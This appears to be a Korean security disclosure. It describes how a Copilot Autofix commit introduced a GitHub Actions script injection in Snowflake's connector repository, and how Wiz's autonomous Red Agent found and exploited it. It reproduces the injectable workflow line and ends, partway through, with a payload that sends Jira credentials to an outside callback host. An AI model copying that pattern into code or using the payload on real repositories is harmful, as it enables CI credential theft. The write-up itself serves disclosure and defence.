AI가 생성한 깃허브 코드로 스노우플레이크 지라 침해 가능했던 사건
Wiz Research의 자율 AI 보안 도구 'Red Agent'가 스노우플레이크 공개 저장소에서 치명적인 GitHub Actions 워크플로 인젝션 취약점을 발견했습니다. 흥미롭게도 이 취약점은 불과 5일 전 Copilot Autofix(AI)가 생성한 커밋으로 도입된 것으로, 기존의 안전한 입력 처리 패턴을 제거하고 셸 스크립트에 직접 문자열을 삽입하는 방식이었습니다. 이 사건은 AI 코딩 어시스턴트가 취약점을 만들어내고, 자동화된 AI 에이전트가 이를 신속히 발견하는 새로운 소프트웨어 개발 현실을 보여줍니다.
스노우플레이크의 HackerOne 취약점 제보 프로그램을 통한 보안 연구의 일환으로, Wiz Research의 자율 AI 보안 연구 도구 'Red Agent'가 스노우플레이크의 공개 저장소 하나에서 치명적인 GitHub Actions 워크플로 취약점을 식별했습니다. 이 사건은 소프트웨어 개발에서 빠르게 현실로 다가오는 상황을 부각합니다. 즉, AI 코딩 어시스턴트가 실수로 워크플로 인젝션 취약점을 만들어낼 수 있고, 자동화된 AI 에이전트가 실제 환경에서 이를 신속하게 발견할 수 있다는 점입니다. Wiz가 2026년 6월 23일 책임 있는 제보를 하자 스노우플레이크는 당일 취약점을 수정하고, 영향을 받은 자격 증명(credential)을 교체했으며, 상세한 감사 로그를 통해 노출 기간 동안 Wiz가 유일한 접근자였음을 확인했습니다. Wiz는 개념 증명(PoC) 테스트 중 접근한 모든 데이터를 안전하게 삭제했음을 확인했습니다.
경영진 요약 Wiz Red Agent는 snowflakedb/snowflake-connector-net 저장소에서 스크립트 인젝션 취약점을 발견했습니다. 이 문제는 인증되지 않은 사용자가 특수하게 조작된 제목의 GitHub 이슈를 열기만 하면 GitHub Actions 러너 내에서 임의의 명령을 실행할 수 있게 해주었습니다. 결정적으로, 이 취약점은 2026년 6월 18일—발견 5일 전—AI 기반 Copilot Autofix가 공동 작성한 커밋(PR #1218)을 통해 도입되었습니다. AI 어시스턴트는 저장소의 기존 입력 정제(sanitized input) 패턴을 제거하고, 셸 스크립트에서 직접 문자열 확장으로 대체했습니다.
노출 상세 발견 과정: Wiz Red Agent의 CI/CD 기능이 스노우플레이크의 GitHub 조직을 스캔하다가 snowflakedb/snowflake-connector-net의 jira_issue.yml 워크플로가 run: 블록의 신뢰할 수 없는 입력을 통한 스크립트 인젝션에 취약하다고 플래그를 지정했습니다.
AI 어시스턴트(GitHub Copilot) 변경 사항:
- env:
- ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
- run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
이 워크플로는 issues: opened 이벤트로 트리거되었는데, 이는 모든 GitHub 사용자가 이슈를 열기만 하면 실행할 수 있다는 뜻이며, 공격자가 제어하는 이슈 제목이 셸 스크립트에 직접 삽입되었습니다: run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\"/g' | sed "s/'/\'/g")
sed 이스케이프는 GitHub의 템플릿 확장 이후에 실행되므로, 제목에 작은따옴표가 포함되면 echo '...' 문자열에서 벗어나 임의 명령 실행이 가능합니다. 이 인젝션 가능한 패턴은 불과 며칠 전인 2026년 6월 18일, 커밋 4a1b8ce(PR #1218: "SNOW-2069227: jira 워크플로 업데이트")—AI 기반 Copilot Autofix가 공동 작성—로 도입되었습니다. 이 커밋은 이슈 제목을 env: 변수로 전달하고 jq로 JSON 페이로드를 생성하던 저장소의 기존 안전한 패턴을 제거하고, 위와 같은 직접 ${{ github.event.issue.title }} 삽입 방식을 사용했습니다. 다시 말해, AI '자동 수정' 커밋이 바로 그 인젝션 벡터를 만들어낸 것입니다.
열려 있는 '보안 게이트' 이 워크플로에는 보호적으로 보이는 if: 조건이 있었습니다: if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]') 그러나 issues 이벤트에서 github.event.pull_request는 항상 null입니다. 따라서 이 조건은 (null != 'whitesource-for-github-com[bot]')으로 축소되며, 이는 항상 참이므로 모든 GitHub 사용자가 이 게이트를 통과합니다.
악용 과정
우리는 템플릿 확장 후 echo 문자열에서 벗어나 대역 외(out-of-band) 콜백을 통해 Jira 자격 증명을 유출하는 이슈 제목을 작성했습니다. 주목할 점은, Red Agent의 CI/CD 기능이 처음 표준 주석 문자(#)로 유출을 시도했을 때, 주석이 TITLE=$(...)의 닫는 괄호를 삼켜 버려서 러너가 bash 구문 오류를 반환했다는 것입니다. Red Agent는 멈추거나 실패하는 대신: 구문 실행 오류를 자율적으로 분석하고, '; echo '를 사용해 셸 블록을 올바르게 닫도록 페이로드를 조정했으며, 대역 외 콜백을 성공적으로 수신했습니다:
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0&e=printf %s $JIRA_USER_EMAIL